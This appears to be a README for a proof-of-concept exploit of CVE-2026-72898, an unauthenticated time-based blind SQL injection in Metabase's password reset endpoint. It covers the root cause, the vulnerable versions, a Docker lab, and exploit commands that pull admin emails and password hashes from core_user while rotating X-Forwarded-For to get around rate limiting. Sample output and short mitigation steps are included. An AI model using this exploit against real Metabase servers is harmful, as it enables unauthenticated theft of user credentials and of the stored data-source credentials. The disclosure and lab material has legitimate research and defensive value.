
Unauthenticated blind SQL injection exploit for Metabase, exploiting a raw SQL injection in the password reset endpoint to extract data via time-based techniques.
★ CVE-2026-72898 Metabase /api/session/reset_password unauthenticated blind SQLi PoC ★
https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59
CVE-2026-72898 is an unauthenticated SQL injection in Metabase (CVSS 10.0) reachable via the public
POST /api/session/reset_passwordendpoint. The endpoint merges the request body with the (failed) authentication result —(merge request (authenticate ...))— so an attacker-supplieduser-idfield survives untouched and reaches the application-database user lookupt2/select-one :model/User :id user-idwith no integer validation. Metabase builds SQL with HoneySQL, whose map is compiled as a (no parameter binding). Sending as therefore injects arbitrary SQL into the application database. The endpoint always returns , so the injection is ; data is recovered with (the production-standard Postgres application DB). Successful exploitation yields Metabase admin data, stored connection credentials for every attached data source, and full pivot into those databases.
{:raw "..."}user-id{"raw":"<SQL>"}400pg_sleep| Category | Version |
|---|---|
| Vulnerable | Metabase (OSS 0.x / EE 1.x) v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4 |
| Patched | v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 or later |
pos-int? check so a non-integer user-id is refused before the queryBuild and run the vulnerable Metabase. It uses a Postgres application DB (required — the
time-based technique needs pg_sleep, which H2 lacks) and auto-completes first-time setup so it
boots to a login page. Startup takes ~40–60 seconds.
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
| Precondition | State in this lab |
|---|---|
| Metabase v58 – v63.4 | v0.62.1 |
Postgres application DB (enables pg_sleep) | bundled in the image |
/api/session/reset_password reachable unauthenticated | exposed |
| Per-IP reset throttle (bypassed by rotating X-Forwarded-For) | MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For |
The exploit metabase_exploit.py reads any value you point it at, with no credentials, using
the time-based blind primitive. It sends a fresh random X-Forwarded-For per request to defeat the
per-IP rate limit (as the in-the-wild attacks did). Pick the target with --extract "<SQL>".
# default: extract the admin email
python3 metabase_exploit.py 172.17.0.2:3000
# extract anything you want (any SQL scalar expression)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
[*] target http://172.17.0.2:3000/api/session/reset_password
[*] extract (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] length = 15; extracting ...
[ 1] a
[ 2] ad
...
[ 15] [email protected]
[+] EXTRACTED: [email protected]
Options:
--check — only confirm the injection is exploitable (shows the pg_sleep time difference)--extract "<SQL>" — any scalar SQL expression (cast to text automatically)--sleep 0.4 — delay per TRUE bit (raise it on a slow/remote target)POST /api/session/reset_password at a proxy/WAFcore_session), review admin accounts and API keys, and rotate the connection credentials of every attached data source (assume they were exposed if the endpoint was internet-reachable)